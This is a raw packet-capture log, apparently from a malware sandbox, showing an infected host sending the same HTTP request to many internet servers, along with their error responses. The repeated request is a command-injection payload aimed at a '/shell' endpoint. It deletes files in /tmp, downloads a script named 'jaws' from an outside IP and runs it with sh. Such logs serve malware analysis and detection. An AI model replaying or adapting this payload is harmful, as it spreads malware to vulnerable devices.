Mar 13, 2024 09:35:30.383650064 CET	509	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:30 GMT Server: Apache/2.4.57 (Debian) Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6d 30 30 33 2e 68 6f 73 74 69 6e 67 2e 63 6f 6c 69 62 72 69 2e 6d 63 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at m003.hosting.colibri.mc Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.15	37936	147.255.147.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:32.552165031 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:32.711002111 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:28 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.15	43424	52.34.187.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:32.568310022 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:32.744256020 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:32 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.15	45526	18.161.198.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:32.585391998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:32.777335882 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:35:32 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.15	36628	23.75.211.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:32.762666941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:32.940007925 CET	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Wed, 13 Mar 2024 08:35:32 GMT Date: Wed, 13 Mar 2024 08:35:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 64 61 38 36 34 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 33 32 26 23 34 36 3b 33 33 39 38 33 66 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 62 64 61 38 36 34 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 33 32 26 23 34 36 3b 33 33 39 38 33 66 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.bda86468.1710318932.33983f5<P>https://errors.edgesuite.net/9.bda86468.1710318932.33983f5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.15	51604	23.208.231.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:32.978250980 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:33.245309114 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:33 GMT Date: Wed, 13 Mar 2024 08:35:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 37 37 32 32 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 33 33 26 23 34 36 3b 61 37 63 65 66 35 64 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.97722d17.1710318933.a7cef5da</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.15	36274	52.55.75.181	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:33.034271955 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.15	40392	34.233.37.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:33.034380913 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:33.128741026 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Wed, 13 Mar 2024 08:35:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.15	49220	108.59.3.120	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:33.034415960 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:33.130058050 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:33 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 13, 2024 09:35:33.130109072 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 13, 2024 09:35:33.130177975 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 13, 2024 09:35:33.130212069 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 13, 2024 09:35:33.130264997 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 13, 2024 09:35:33.130337000 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 13, 2024 09:35:33.130388021 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 13, 2024 09:35:33.130440950 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to ns1.wantmydiamondcrm.com's <a href="mailto:root@ns
Mar 13, 2024 09:35:33.130451918 CET	381	IN	Data Raw: 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 Data Ascii: e=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.15	35040	118.89.68.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:33.109491110 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:33.474677086 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:35:33 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.15	38784	172.105.241.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:33.314943075 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:33.596050024 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.16.1 Date: Wed, 13 Mar 2024 08:35:00 GMT Content-Type: text/html Content-Length: 3650 Connection: keep-alive ETag: "5f9e16e8-e42" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 